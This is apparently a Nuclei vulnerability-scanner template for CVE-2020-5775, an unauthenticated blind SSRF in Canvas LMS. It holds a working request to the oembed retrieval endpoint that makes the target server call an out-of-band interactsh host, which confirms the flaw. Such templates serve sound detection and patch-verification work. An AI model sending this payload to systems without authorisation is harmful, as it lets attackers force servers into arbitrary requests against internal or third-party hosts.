id: CVE-2020-5775

info:
  name: Canvas LMS Unauthenticated Blind SSRF
  author: alph4byt3
  severity: medium
  description: Server-Side Request Forgery in Canvas LMS 2020-07-29 allows a remote, unauthenticated attacker to cause the Canvas application to perform HTTP GET requests to arbitrary domains.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5775
    - https://www.tenable.com/security/research/tra-2020-49
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 5.8
    cve-id: CVE-2020-5775
    cwe-id: CWE-918
  tags: cve,cve2020,ssrf,oast,blind

requests:
  - method: GET
    path:
      - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"